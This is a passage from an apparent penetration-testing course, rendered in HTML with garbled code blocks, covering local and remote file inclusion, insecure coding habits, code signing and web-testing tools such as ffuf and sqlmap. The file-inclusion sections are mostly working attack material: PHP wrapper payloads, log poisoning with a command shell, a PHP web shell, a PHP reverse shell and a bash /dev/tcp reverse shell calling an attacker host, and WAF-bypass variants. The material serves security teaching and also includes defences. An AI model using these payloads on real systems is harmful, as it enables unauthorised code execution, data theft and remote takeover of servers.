name="phpfilter-read-file-contents-with-base64-encoding-avoids-php-execution" href="#phpfilter-read-file-contents-with-base64-encoding-avoids-php-execution" class="anchor"> </a> php://filter — read file contents with Base64 encoding (avoids PHP execution): </h1> <p>?page=php://filter/convert.base64-encode/resource=config.php</p> <h1> <a name="this-returns-the-base64encoded-source-code-of-configphp" href="#this-returns-the-base64encoded-source-code-of-configphp" class="anchor"> </a> This returns the Base64-encoded source code of config.php </h1> <h1> <a name="without-executing-it-allows-reading-php-file-contents-directly" href="#without-executing-it-allows-reading-php-file-contents-directly" class="anchor"> </a> without executing it — allows reading PHP file contents directly </h1> <h1> <a name="decode-the-output-echo-base64output-base64-d" href="#decode-the-output-echo-base64output-base64-d" class="anchor"> </a> Decode the output: echo "BASE64_OUTPUT" | base64 -d </h1> <h1> <a name="phpinput-include-the-http-request-body-as-php-code" href="#phpinput-include-the-http-request-body-as-php-code" class="anchor"> </a> php://input — include the HTTP request body as PHP code: </h1> <p>?page=php://input</p> <h1> <a name="with-post-body-containing-ltphp-systemid-gt" href="#with-post-body-containing-ltphp-systemid-gt" class="anchor"> </a> With POST body containing: <?php system('id'); ?> </h1> <h1> <a name="data-wrapper-include-a-data-uri-as-php-code" href="#data-wrapper-include-a-data-uri-as-php-code" class="anchor"> </a> data:// wrapper — include a data URI as PHP code: </h1> <p>?page=data://text/plain,<?php system('id')?><br> ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpPz4=</p> <h1> <a name="base64-of-ltphp-systemidgt" href="#base64-of-ltphp-systemidgt" class="anchor"> </a> (Base64 of: <?php system('id')?>) </h1> <h1> <a name="zip-and-phar-wrappers-for-file-upload-include-chains" href="#zip-and-phar-wrappers-for-file-upload-include-chains" class="anchor"> </a> zip:// and phar:// wrappers (for file upload + include chains): </h1> <h1> <a name="upload-a-php-web-shell-inside-a-zip-file-with-a-jpg-extension" href="#upload-a-php-web-shell-inside-a-zip-file-with-a-jpg-extension" class="anchor"> </a> Upload a PHP web shell inside a ZIP file with a .jpg extension </h1> <h1> <a name="if-file-uploads-are-allowed-but-php-is-blocked-by-extension" href="#if-file-uploads-are-allowed-but-php-is-blocked-by-extension" class="anchor"> </a> If file uploads are allowed but PHP is blocked by extension: </h1> <h1> <a name="zippathtouploadjpgshellphp" href="#zippathtouploadjpgshellphp" class="anchor"> </a> zip://path/to/upload.jpg#shell.php </h1> <p>`<code></code></p> <p><strong>The php://filter wrapper deserves special attention:</strong></p> <p><code></code>`bash</p> <h1> <a name="read-any-php-files-source-code-without-execution" href="#read-any-php-files-source-code-without-execution" class="anchor"> </a> Read any PHP file's source code without execution: </h1> <p>?page=php://filter/read=convert.base64-encode/resource=index.php<br> ?page=php://filter/read=convert.base64-encode/resource=config.php<br> ?page=php://filter/read=convert.base64-encode/resource=../../../etc/passwd</p> <h1> <a name="multiple-filter-chaining" href="#multiple-filter-chaining" class="anchor"> </a> Multiple filter chaining: </h1> <p>?page=php://filter/read=string.rot13|convert.base64-encode/resource=config.php</p> <h1> <a name="decode-the-output-on-your-machine" href="#decode-the-output-on-your-machine" class="anchor"> </a> Decode the output on your machine: </h1> <p>echo "BASE64_HERE" | base64 -d<br> `<code></code></p> <p>This is extremely powerful: it lets you read the source code of all PHP files in the application — revealing database credentials, API keys, business logic, and other vulnerabilities without triggering any code execution.</p> <h4> <a name="lfi-testing-methodology" href="#lfi-testing-methodology" class="anchor"> </a> LFI Testing Methodology </h4> <p><code></code>`bash</p> <h1> <a name="automated-lfi-testing-with-ffuf" href="#automated-lfi-testing-with-ffuf" class="anchor"> </a> Automated LFI testing with ffuf: </h1> <p>ffuf -u "<a href="http://target.com/page?file=FUZZ">http://target.com/page?file=FUZZ</a>" \<br> -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \<br> -fw 15 \<br> -mc 200</p> <h1> <a name="manual-testing-sequence" href="#manual-testing-sequence" class="anchor"> </a> Manual testing sequence: </h1> <h1> <a name="1-confirm-basic-traversal" href="#1-confirm-basic-traversal" class="anchor"> </a> 1. Confirm basic traversal: </h1> <p>curl "<a href="http://target.com/page?file=../../../etc/passwd">http://target.com/page?file=../../../etc/passwd</a>"</p> <h1> <a name="2-try-wrapperbased-reading-no-execution" href="#2-try-wrapperbased-reading-no-execution" class="anchor"> </a> 2. Try wrapper-based reading (no execution): </h1> <p>curl "<a href="http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index">http://target.com/page?file=php://filter/read=convert.base64-encode/resource=index</a>"</p> <h1> <a name="decode-echo-output-base64-d" href="#decode-echo-output-base64-d" class="anchor"> </a> Decode: echo "OUTPUT" | base64 -d </h1> <h1> <a name="3-test-log-file-access" href="#3-test-log-file-access" class="anchor"> </a> 3. Test log file access: </h1> <p>curl "<a href="http://target.com/page?file=../../../var/log/apache2/access.log">http://target.com/page?file=../../../var/log/apache2/access.log</a>"</p> <h1> <a name="4-if-log-accessible-inject-php-via-useragent" href="#4-if-log-accessible-inject-php-via-useragent" class="anchor"> </a> 4. If log accessible: inject PHP via User-Agent: </h1> <p>curl -A '<?php system($_GET["cmd"]); ?>' "<a href="http://target.com/">http://target.com/</a>"</p> <h1> <a name="5-execute-code-via-log-inclusion" href="#5-execute-code-via-log-inclusion" class="anchor"> </a> 5. Execute code via log inclusion: </h1> <p>curl "<a href="http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id">http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id</a>"</p> <h1> <a name="6-get-reverse-shell" href="#6-get-reverse-shell" class="anchor"> </a> 6. Get reverse shell: </h1> <h1> <a name="set-up-listener-nc-lvnp-4444" href="#set-up-listener-nc-lvnp-4444" class="anchor"> </a> Set up listener: nc -lvnp 4444 </h1> <p>curl "<a href="http://target.com/page?file=../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/ATTACKER/4444+0%3E%261'">http://target.com/page?file=../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'</a>"<br> `<code></code></p> <hr> <h3> <a name="6113-remote-file-inclusion-rfi-serving-your-own-code-to-the-server" href="#6113-remote-file-inclusion-rfi-serving-your-own-code-to-the-server" class="anchor"> </a> 6.11.3 Remote File Inclusion (RFI) — Serving Your Own Code to the Server </h3> <h4> <a name="what-makes-rfi-different-and-more-directly-dangerous" href="#what-makes-rfi-different-and-more-directly-dangerous" class="anchor"> </a> What Makes RFI Different — And More Directly Dangerous </h4> <p>Remote File Inclusion is LFI's more immediately dangerous sibling. Instead of including a local file (which requires a secondary step to inject code into that file), RFI allows the attacker to include a file hosted on an attacker-controlled remote server. The server fetches the URL and executes whatever PHP code it finds there.</p> <p>This eliminates the need for any pre-injection step. If RFI is possible, Remote Code Execution is immediate.</p> <p><strong>PHP configuration requirements:</strong></p> <p>RFI only works when two PHP configuration directives are set:</p> <ul> <li><code>allow_url_fopen = On</code> — allows using URLs in file functions</li> <li><code>allow_url_include = On</code> — allows using URLs in include/require functions</li> </ul> <p><code>allow_url_include</code> has been <code>Off</code> by default since PHP 5.2.0. This significantly limits RFI in modern deployments. However:</p> <ul> <li>Legacy applications may have explicitly enabled these settings</li> <li>Hosting providers that configure PHP permissively may have them enabled</li> <li>Some application frameworks or deployment scripts re-enable them</li> </ul> <p><strong>Checking whether RFI is enabled:</strong><br> <code></code>`bash</p> <h1> <a name="test-with-a-url-that-logs-access" href="#test-with-a-url-that-logs-access" class="anchor"> </a> Test with a URL that logs access: </h1> <p>?page=<a href="http://your-burp-collaborator.burpcollaborator.net/test">http://your-burp-collaborator.burpcollaborator.net/test</a></p> <h1> <a name="if-you-receive-an-http-request-in-collaborator-→-allowurlinclude-is-on-→-rfi-possible" href="#if-you-receive-an-http-request-in-collaborator-→-allowurlinclude-is-on-→-rfi-possible" class="anchor"> </a> If you receive an HTTP request in Collaborator → allow_url_include is On → RFI possible </h1> <p>`<code></code></p> <h4> <a name="rfi-exploitation-from-discovery-to-shell" href="#rfi-exploitation-from-discovery-to-shell" class="anchor"> </a> RFI Exploitation — From Discovery to Shell </h4> <p><strong>Step 1: Prepare your malicious PHP file</strong></p> <p>Create a PHP web shell or reverse shell on your attack server:</p> <p><code></code><code>php<br> <?php<br> // Simple web shell — receives commands via GET parameter:<br> if(isset($_GET['cmd'])) {<br> echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';<br> }<br> ?><br> </code><code></code></p> <p>Or a full reverse shell PHP file:<br> <code></code><code>php<br> <?php<br> // PHP reverse shell (simplified):<br> $ip = 'ATTACKER_IP';<br> $port = 4444;<br> $sock = fsockopen($ip, $port);<br> $proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);<br> ?><br> </code><code></code></p> <p><strong>Step 2: Host your malicious file</strong></p> <p><code></code>`bash</p> <h1> <a name="start-a-simple-http-server-on-kali" href="#start-a-simple-http-server-on-kali" class="anchor"> </a> Start a simple HTTP server on Kali: </h1> <p>python3 -m http.server 8000</p> <h1> <a name="or-use-phps-builtin-server" href="#or-use-phps-builtin-server" class="anchor"> </a> Or use PHP's built-in server: </h1> <p>php -S 0.0.0.0:8000</p> <h1> <a name="using-ngrok-to-make-it-accessible-over-the-internet" href="#using-ngrok-to-make-it-accessible-over-the-internet" class="anchor"> </a> Using ngrok to make it accessible over the internet: </h1> <p>ngrok http 8000<br> `<code></code></p> <p><strong>Step 3: Include your remote file via the vulnerable parameter</strong></p> <p><code></code>`</p> <h1> <a name="basic-rfi" href="#basic-rfi" class="anchor"> </a> Basic RFI: </h1> <p>?page=<a href="http://ATTACKER_IP:8000/shell.php">http://ATTACKER_IP:8000/shell.php</a></p> <h1> <a name="with-command-execution" href="#with-command-execution" class="anchor"> </a> With command execution: </h1> <p>?page=<a href="http://ATTACKER_IP:8000/webshell.php&cmd=id">http://ATTACKER_IP:8000/webshell.php&cmd=id</a></p> <h1> <a name="if-the-application-appends-php-to-your-input" href="#if-the-application-appends-php-to-your-input" class="anchor"> </a> If the application appends .php to your input: </h1> <h1> <a name="host-a-file-without-extension-shell" href="#host-a-file-without-extension-shell" class="anchor"> </a> Host a file without extension: shell </h1> <h1> <a name="the-application-constructs-httpattackerip8000shellphp-→-your-shell-executes" href="#the-application-constructs-httpattackerip8000shellphp-→-your-shell-executes" class="anchor"> </a> The application constructs: <a href="http://ATTACKER_IP:8000/shell.php">http://ATTACKER_IP:8000/shell.php</a> → your shell executes </h1> <h1> <a name="using-https" href="#using-https" class="anchor"> </a> Using HTTPS: </h1> <p>?page=<a href="https://ATTACKER_IP:8443/shell.php">https://ATTACKER_IP:8443/shell.php</a></p> <h1> <a name="using-ftp-if-allowurlfopen-is-on-but-http-is-blocked" href="#using-ftp-if-allowurlfopen-is-on-but-http-is-blocked" class="anchor"> </a> Using FTP (if allow_url_fopen is on but http is blocked): </h1> <p>?page=<a href="ftp://ATTACKER_IP/shell.php">ftp://ATTACKER_IP/shell.php</a><br> `<code></code></p> <p><strong>Step 4: Receive the reverse shell</strong></p> <p><code></code>`bash</p> <h1> <a name="start-listener-before-triggering-the-rfi" href="#start-listener-before-triggering-the-rfi" class="anchor"> </a> Start listener before triggering the RFI: </h1> <p>nc -lvnp 4444</p> <h1> <a name="trigger-rfi-with-reverse-shell-php" href="#trigger-rfi-with-reverse-shell-php" class="anchor"> </a> Trigger RFI with reverse shell PHP: </h1> <p>curl "<a href="http://target.com/page?page=http://ATTACKER_IP:8000/revshell.php">http://target.com/page?page=http://ATTACKER_IP:8000/revshell.php</a>"</p> <h1> <a name="shell-appears-in-listener-window" href="#shell-appears-in-listener-window" class="anchor"> </a> Shell appears in listener window </h1> <p>`<code></code></p> <h4> <a name="rfi-with-obfuscation-and-waf-bypass" href="#rfi-with-obfuscation-and-waf-bypass" class="anchor"> </a> RFI with Obfuscation and WAF Bypass </h4> <p><code></code>`</p> <h1> <a name="null-byte-to-bypass-extension-appending" href="#null-byte-to-bypass-extension-appending" class="anchor"> </a> Null byte to bypass extension appending: </h1> <p>?page=<a href="http://ATTACKER_IP:8000/shell%00">http://ATTACKER_IP:8000/shell%00</a></p> <h1> <a name="double-encoding" href="#double-encoding" class="anchor"> </a> Double encoding: </h1> <p>?page=http%3A%2F%2FATTACKER_IP%3A8000%2Fshell.php</p> <h1> <a name="using-alternative-protocols" href="#using-alternative-protocols" class="anchor"> </a> Using alternative protocols: </h1> <p>?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+</p> <h1> <a name="base64-of-ltphp-systemgetcmd-gt" href="#base64-of-ltphp-systemgetcmd-gt" class="anchor"> </a> (Base64 of: <?php system($_GET['cmd']); ?>) </h1> <h1> <a name="this-is-technically-a-wrapperbased-inclusion-not-remote-but-achieves-same-result" href="#this-is-technically-a-wrapperbased-inclusion-not-remote-but-achieves-same-result" class="anchor"> </a> This is technically a wrapper-based inclusion, not remote, but achieves same result </h1> <h1> <a name="if-http-is-blocked-but-ftp-is-not" href="#if-http-is-blocked-but-ftp-is-not" class="anchor"> </a> If HTTP is blocked but FTP is not: </h1> <p>?page=<a href="ftp://ATTACKER_IP/shell.php">ftp://ATTACKER_IP/shell.php</a></p> <h1> <a name="using-smb-windows-targets" href="#using-smb-windows-targets" class="anchor"> </a> Using SMB (Windows targets): </h1> <p>?page=\ATTACKER_IP\share\shell.php<br> `<code></code></p> <h4> <a name="differences-between-lfi-and-rfi-side-by-side" href="#differences-between-lfi-and-rfi-side-by-side" class="anchor"> </a> Differences Between LFI and RFI — Side by Side </h4> <table><thead> <tr> <th>Aspect</th> <th>LFI</th> <th>RFI</th> </tr> </thead><tbody> <tr> <td>File location</td> <td>Same server (local)</td> <td>Remote attacker-controlled server</td> </tr> <tr> <td>PHP requirements</td> <td>Always works if include() used</td> <td>Requires <code>allow_url_include = On</code></td> </tr> <tr> <td>Direct RCE</td> <td>No (requires chaining)</td> <td>Yes (immediate)</td> </tr> <tr> <td>Prerequisites</td> <td>None</td> <td>allow_url_include enabled</td> </tr> <tr> <td>Modern prevalence</td> <td>Common</td> <td>Less common (PHP disabled by default)</td> </tr> <tr> <td>Stealth</td> <td>Reads local files (may trigger file audit logs)</td> <td>Makes outbound HTTP request (detectable in outbound logs)</td> </tr> <tr> <td>Key bypass technique</td> <td>Log poisoning, wrapper abuse</td> <td>Hosting malicious file remotely</td> </tr> </tbody></table> <h4> <a name="defending-against-file-inclusion" href="#defending-against-file-inclusion" class="anchor"> </a> Defending Against File Inclusion </h4> <p><strong>Primary defense — Never use user input in include/require:</strong><br> <code></code>`php<br> // SECURE: whitelist approach<br> $allowed_pages = ['home', 'about', 'contact', 'products'];<br> $page = $_GET['page'];</p> <p>if (!in_array($page, $allowed_pages)) {<br> include('404.php');<br> exit();<br> }</p> <p>include($page . '.php');<br> `<code></code></p> <p><strong>Configuration hardening:</strong><br> <code></code>`ini<br> ; php.ini — disable remote inclusion:<br> allow_url_fopen = Off<br> allow_url_include = Off</p> <p>; Disable dangerous PHP wrappers:<br> ; (Use Suhosin PHP extension for this)</p> <p>; Restrict file operations to web root:<br> open_basedir = /var/www/html:/tmp<br> `<code></code></p> <hr> <h2> <a name="612-exploiting-insecure-code-practices" href="#612-exploiting-insecure-code-practices" class="anchor"> </a> 6.12 Exploiting Insecure Code Practices </h2> <h3> <a name="6121-overview-the-code-quality-→-security-relationship" href="#6121-overview-the-code-quality-→-security-relationship" class="anchor"> </a> 6.12.1 Overview — The Code Quality → Security Relationship </h3> <p>There is a consistent pattern in web application security: the applications with the most severe vulnerabilities are also the applications with the poorest overall code quality. This is not coincidental — it reflects the same underlying engineering discipline (or lack thereof).</p> <p>An application where developers write verbose debug comments in production code is also likely to have inadequate input validation. An application with hard-coded credentials is also likely to have authorization checks as an afterthought. Poor engineering discipline manifests consistently across all dimensions of code quality.</p> <p>Section 6.12 addresses the class of vulnerabilities that stem directly from insecure coding habits — practices that no security-aware developer should follow, yet which appear persistently in production applications because they are convenient, because the team prioritized shipping over security, or because the security implications were never understood.</p> <p>These are also among the most immediately impactful findings in a penetration test, because they often require no sophisticated attack technique — they require only observation. Reading HTML source code, triggering an error, or examining an API response can reveal credentials, system architecture, and exploitable logic flaws that sophisticated attackers would spend days attempting to discover through more technical means.</p> <hr> <h3> <a name="6122-comments-in-source-code" href="#6122-comments-in-source-code" class="anchor"> </a> 6.12.2 Comments in Source Code </h3> <h4> <a name="the-problem-development-artifacts-left-in-production" href="#the-problem-development-artifacts-left-in-production" class="anchor"> </a> The Problem — Development Artifacts Left in Production </h4> <p>Comments are a normal and valuable part of software development. They explain why a function works the way it does, document parameters, and communicate between developers. The problem is when sensitive information is left in comments that become part of the output — visible to anyone who views the page source.</p> <p>In HTML and JavaScript that is delivered to the browser, every comment is readable by any user who opens the browser's developer tools or views the page source. Developers often leave comments from the development process — test credentials, internal endpoint paths, business logic notes, debugging information — without considering that this code will be delivered to potentially hostile clients.</p> <p><strong>What to look for in HTML comments:</strong></p> <p><code></code>`html</p>       <p>`<code></code></p> <p>Every one of these examples is representative of real findings from real penetration tests. The pattern is so consistent that viewing source code and HTML comments is one of the first things a professional web application tester does on any target.</p> <p><strong>JavaScript files are even richer:</strong></p> <p>JavaScript is delivered in full to the browser — including all function implementations, all internal endpoint paths used by the application's AJAX calls, and any comments or dead code:</p> <p><code></code>`javascript<br> // OLD ADMIN ENDPOINT - DO NOT USE IN PROD (but left for backward compat)<br> // GET /api/v1/superadmin/users returns all users without auth check<br> var adminEndpoint = '/api/v1/superadmin/users';</p> <p>// Test credentials: <a href="mailto:testuser@example.com">testuser@example.com</a> / T3st_p@ssword<br> // TODO: Remove before going live</p> <p>function debugMode() {<br> // This function disables CSRF checking for testing<br> // Called by: if (location.hash === '#debug') enableDebug();<br> }<br> `<code></code></p> <p>That last comment is extraordinary in a real application: it reveals that navigating to <code>https://target.com/#debug</code> calls a function that disables CSRF protection. A complete CSRF defense is broken by a hidden debug feature, revealed through a comment.</p> <p><strong>Systematic JavaScript comment mining:</strong></p> <p><code></code>`bash</p> <h1> <a name="download-all-javascript-files-from-a-site-and-search-for-sensitive-patterns" href="#download-all-javascript-files-from-a-site-and-search-for-sensitive-patterns" class="anchor"> </a> Download all JavaScript files from a site and search for sensitive patterns: </h1> <h1> <a name="1-from-burp-site-map-→-rightclick-target-→-copy-urls-in-scope" href="#1-from-burp-site-map-→-rightclick-target-→-copy-urls-in-scope" class="anchor"> </a> 1. From Burp: Site Map → right-click target → "Copy URLs in scope" </h1> <h1> <a name="2-use-wget-to-mirror-the-sites-js-files" href="#2-use-wget-to-mirror-the-sites-js-files" class="anchor"> </a> 2. Use wget to mirror the site's JS files: </h1> <p>wget -r -l2 -A.js <a href="https://target.com">https://target.com</a> -P /tmp/js_files/</p> <h1> <a name="3-search-for-sensitive-patterns" href="#3-search-for-sensitive-patterns" class="anchor"> </a> 3. Search for sensitive patterns: </h1> <p>grep -rn "TODO|FIXME|password|passwd|secret|key|token|api|endpoint|admin|debug|test|staging" \<br> /tmp/js_files/ --include="*.js" -i</p> <h1> <a name="4-look-for-commentedout-html-endpoints" href="#4-look-for-commentedout-html-endpoints" class="anchor"> </a> 4. Look for commented-out HTML endpoints: </h1> <p>grep -rn " <p><input type="hidden" name="role" value="user"></p>  <p><input type="hidden" name="user_id" value="1042"></p>  <p><input type="hidden" name="price" value="99.99"></p>  <p><input type="checkbox" name="premium" style="display:none" checked></p>  <p><button id="admin-delete" disabled style="display:none" onclick="deleteUser()">Delete User</button></p>  <p>`<code></code></p> <p><strong>How to test:</strong></p> <p><code></code>`javascript<br> // In browser DevTools Console — remove "disabled" from all buttons:<br> document.querySelectorAll('button[disabled]').forEach(b => b.disabled = false);</p> <p>// Show all hidden elements:<br> document.querySelectorAll('[style*="display:none"]').forEach(e => e.style.display = 'block');<br> document.querySelectorAll('[hidden]').forEach(e => e.removeAttribute('hidden'));</p> <p>// Modify a hidden form field value:<br> document.querySelector('input[name="role"]').value = 'admin';</p> <p>// Submit the form with modified values<br> `<code></code></p> <p><strong>In Burp Suite:</strong></p> <ol> <li>Submit a form legitimately</li> <li>In Burp Proxy — intercept the request before forwarding</li> <li>Modify any parameter value (including hidden fields, prices, IDs, roles)</li> <li>Forward the modified request</li> <li>Observe whether the server trusts the modified value</li> </ol> <p>The server must validate all values server-side, regardless of whether they were intended to be user-editable. Any server-side processing that trusts a client-submitted value that could have been tampered with is a vulnerability.</p> <p><strong>Client-side validation bypass:</strong></p> <p><code></code>`html</p>  <p><input type="email" required pattern="[a-z]+@[a-z]+\.[a-z]+"><br> <input type="number" min="1" max="100"><br> <input type="text" maxlength="50"></p>  <p><form onsubmit="return validateForm()"></p>  <p>`<code></code></p> <hr> <h3> <a name="6128-lack-of-code-signing" href="#6128-lack-of-code-signing" class="anchor"> </a> 6.12.8 Lack of Code Signing </h3> <h4> <a name="what-code-signing-protects-and-what-happens-without-it" href="#what-code-signing-protects-and-what-happens-without-it" class="anchor"> </a> What Code Signing Protects and What Happens Without It </h4> <p>Code signing is the practice of cryptographically signing software artifacts — binaries, JavaScript bundles, configuration files, firmware images — with the developer's private key. Users can verify the signature with the corresponding public key to confirm the file came from the legitimate developer and has not been tampered with.</p> <p>Without code signing:</p> <ul> <li>Users cannot verify software came from the legitimate source</li> <li>Intermediate CDNs, package registries, or update servers could serve modified malicious versions</li> <li>Supply chain attacks become possible without cryptographic detection</li> </ul> <p><strong>Subresource Integrity (SRI) — Code Signing for Web Resources:</strong></p> <p>When a web page loads a JavaScript library from a CDN, the browser has no way to verify the CDN serves the correct, unmodified file. If the CDN is compromised or the file is replaced, malicious code runs on every visitor's browser.</p> <p>SRI (Subresource Integrity) solves this. The HTML tag includes a cryptographic hash of the expected file content. The browser downloads the file, computes the hash, and refuses to execute it if the hash does not match:</p> <p><code></code>`html</p>  <script src="https://cdn.example.com/jquery-3.7.0.min.js"></script>  <script src="https://cdn.example.com/jquery-3.7.0.min.js" integrity="sha384-NXgwF8Kv9SSAr+jemKKcbvQsz+teULH/a5UNJvZc6kP47hZgl62M1vGnw6gHQhb3" crossorigin="anonymous"> </script> <p>`<code></code></p> <p>If the CDN serves a modified <code>jquery-3.7.0.min.js</code> (with a cryptocurrency miner, a keylogger, or a malicious redirect injected), the hash will not match and the browser will refuse to load it.</p> <p><strong>Testing for missing SRI:</strong></p> <p><code></code>`bash</p> <h1> <a name="check-for-external-scripts-without-integrity-attributes" href="#check-for-external-scripts-without-integrity-attributes" class="anchor"> </a> Check for external scripts without integrity attributes: </h1> <p>curl -s <a href="https://target.com/">https://target.com/</a> | grep -i '<script src' | grep -v 'integrity='</p> <h1> <a name="nuclei-check" href="#nuclei-check" class="anchor"> </a> Nuclei check: </h1> <p>nuclei -u <a href="https://target.com">https://target.com</a> -id missing-sri</p> <h1> <a name="manual-check-in-devtools-→-sources-look-for-external-scripts" href="#manual-check-in-devtools-→-sources-look-for-external-scripts" class="anchor"> </a> Manual check: in DevTools → Sources, look for external scripts </h1> <h1> <a name="→-security-→-check-if-any-external-origins-are-loaded-without-verification" href="#→-security-→-check-if-any-external-origins-are-loaded-without-verification" class="anchor"> </a> → Security → check if any external origins are loaded without verification </h1> <p>`<code></code></p> <p><strong>Software update mechanisms:</strong></p> <p>Desktop applications that download updates over HTTP (without HTTPS and without signature verification) are vulnerable to in-path replacement attacks. An attacker positioned on the network can intercept the update download and replace it with a malicious installer. The application installs the malicious version without knowing the package was tampered with.</p> <p><strong>npm/pip package security:</strong></p> <p>JavaScript's npm ecosystem and Python's pip have both suffered supply chain attacks where attackers published malicious packages with names similar to popular legitimate packages (typosquatting). Without lockfiles and hash verification, an application might accidentally install a malicious package.</p> <hr> <h3> <a name="6129-additional-web-application-hacking-tools" href="#6129-additional-web-application-hacking-tools" class="anchor"> </a> 6.12.9 Additional Web Application Hacking Tools </h3> <h4> <a name="the-professional-web-application-testing-toolkit" href="#the-professional-web-application-testing-toolkit" class="anchor"> </a> The Professional Web Application Testing Toolkit </h4> <p>Beyond the tools covered throughout Module 6, a comprehensive professional toolkit includes several additional resources worth knowing:</p> <p><strong>ffuf — Fast Web Fuzzer</strong></p> <p>The fastest parameter and content discovery tool available. Outperforms gobuster and dirbuster in both speed and flexibility:</p> <p><code></code>`bash</p> <h1> <a name="directory-discovery" href="#directory-discovery" class="anchor"> </a> Directory discovery: </h1> <p>ffuf -u <a href="https://target.com/FUZZ">https://target.com/FUZZ</a> -w /usr/share/seclists/Discovery/Web-Content/common.txt</p> <h1> <a name="parameter-discovery-find-hidden-get-parameters" href="#parameter-discovery-find-hidden-get-parameters" class="anchor"> </a> Parameter discovery — find hidden GET parameters: </h1> <p>ffuf -u <a href="https://target.com/page?FUZZ=test">https://target.com/page?FUZZ=test</a> -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt</p> <h1> <a name="post-parameter-discovery" href="#post-parameter-discovery" class="anchor"> </a> POST parameter discovery: </h1> <p>ffuf -u <a href="https://target.com/login">https://target.com/login</a> -X POST -d "FUZZ=test" \<br> -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \<br> -H "Content-Type: application/x-www-form-urlencoded"</p> <h1> <a name="virtual-host-discovery" href="#virtual-host-discovery" class="anchor"> </a> Virtual host discovery: </h1> <p>ffuf -u <a href="https://target.com/">https://target.com/</a> -H "Host: FUZZ.target.com" \<br> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</p> <h1> <a name="filter-by-sizestatus" href="#filter-by-sizestatus" class="anchor"> </a> Filter by size/status: </h1> <p>ffuf -u <a href="https://target.com/FUZZ">https://target.com/FUZZ</a> -w wordlist.txt -fs 4242 -fc 404,403<br> `<code></code></p> <p><strong>Arjun — HTTP Parameter Discovery</strong></p> <p>Discovers hidden parameters in web applications:</p> <p><code></code>`bash<br> pip3 install arjun</p> <h1> <a name="discover-get-parameters" href="#discover-get-parameters" class="anchor"> </a> Discover GET parameters: </h1> <p>arjun -u <a href="https://target.com/page">https://target.com/page</a></p> <h1> <a name="discover-post-parameters" href="#discover-post-parameters" class="anchor"> </a> Discover POST parameters: </h1> <p>arjun -u <a href="https://target.com/api">https://target.com/api</a> -m POST -H "Content-Type: application/json"</p> <h1> <a name="against-all-pages-in-a-site" href="#against-all-pages-in-a-site" class="anchor"> </a> Against all pages in a site: </h1> <p>arjun -u <a href="https://target.com/page1">https://target.com/page1</a> <a href="https://target.com/page2">https://target.com/page2</a> <a href="https://target.com/api">https://target.com/api</a><br> `<code></code></p> <p><strong>Dalfox — XSS Scanner</strong></p> <p>A modern, fast XSS discovery and verification tool:</p> <p><code></code>`bash</p> <h1> <a name="install" href="#install" class="anchor"> </a> Install: </h1> <p>go install github.com/hahwul/dalfox/v2@latest</p> <h1> <a name="basic-scan" href="#basic-scan" class="anchor"> </a> Basic scan: </h1> <p>dalfox url <a href="https://target.com/search?q=test">https://target.com/search?q=test</a></p> <h1> <a name="with-cookie-for-authenticated-testing" href="#with-cookie-for-authenticated-testing" class="anchor"> </a> With cookie for authenticated testing: </h1> <p>dalfox url "<a href="https://target.com/search?q=test">https://target.com/search?q=test</a>" --cookie "session=abc123"</p> <h1> <a name="from-burps-saved-request" href="#from-burps-saved-request" class="anchor"> </a> From Burp's saved request: </h1> <p>dalfox file burp_request.txt</p> <h1> <a name="pipe-urls" href="#pipe-urls" class="anchor"> </a> Pipe URLs: </h1> <p>cat urls.txt | dalfox pipe<br> `<code></code></p> <p><strong>Kiterunner — API Endpoint Discovery</strong></p> <p>Specifically designed for API route discovery using OpenAPI specifications:</p> <p><code></code>`bash</p> <h1> <a name="install" href="#install" class="anchor"> </a> Install: </h1> <p>go install github.com/assetnote/kiterunner@latest</p> <h1> <a name="brute-force-api-routes" href="#brute-force-api-routes" class="anchor"> </a> Brute force API routes: </h1> <p>kr scan <a href="https://target.com/api">https://target.com/api</a> -w routes-small.kite</p> <h1> <a name="using-assetnotes-prebuilt-wordlists" href="#using-assetnotes-prebuilt-wordlists" class="anchor"> </a> Using Assetnote's pre-built wordlists: </h1> <p>kr scan <a href="https://target.com/api">https://target.com/api</a> -w apis.txt</p> <h1> <a name="against-a-list-of-targets" href="#against-a-list-of-targets" class="anchor"> </a> Against a list of targets: </h1> <p>kr scan -w wordlist.txt -i targets.txt<br> `<code></code></p> <p><strong>SQLmap — Advanced Usage for Professional Assessments:</strong></p> <p><code></code>`bash</p> <h1> <a name="beyond-basic-usage-for-complex-scenarios" href="#beyond-basic-usage-for-complex-scenarios" class="anchor"> </a> Beyond basic usage — for complex scenarios: </h1> <h1> <a name="test-with-custom-headers-api-key-authentication" href="#test-with-custom-headers-api-key-authentication" class="anchor"> </a> Test with custom headers (API key authentication): </h1> <p>sqlmap -u "<a href="https://target.com/api/users?id=1">https://target.com/api/users?id=1</a>" \<br> --headers="X-API-Key: your-api-key\nX-User-Id: 1042"</p> <h1> <a name="json-parameter-testing" href="#json-parameter-testing" class="anchor"> </a> JSON parameter testing: </h1> <p>sqlmap -u "<a href="https://target.com/api/search">https://target.com/api/search</a>" \<br> --data='{"query":"test","limit":10}' \<br> --content-type="application/json"</p> <h1> <a name="secondorder-injection-data-stored-then-used-elsewhere" href="#secondorder-injection-data-stored-then-used-elsewhere" class="anchor"> </a> Second-order injection (data stored then used elsewhere): </h1> <p>sqlmap -u "<a href="https://target.com/profile">https://target.com/profile</a>" \<br> --data="bio=test" \<br> --second-url="<a href="https://target.com/admin/users">https://target.com/admin/users</a>"</p> <h1> <a name="using-tamper-scripts-for-waf-bypass" href="#using-tamper-scripts-for-waf-bypass" class="anchor"> </a> Using tamper scripts for WAF bypass: </h1> <p>sqlmap -u "<a href="https://target.com/?id=1">https://target.com/?id=1</a>" \<br> --tamper=space2comment,between,randomcase \<br> 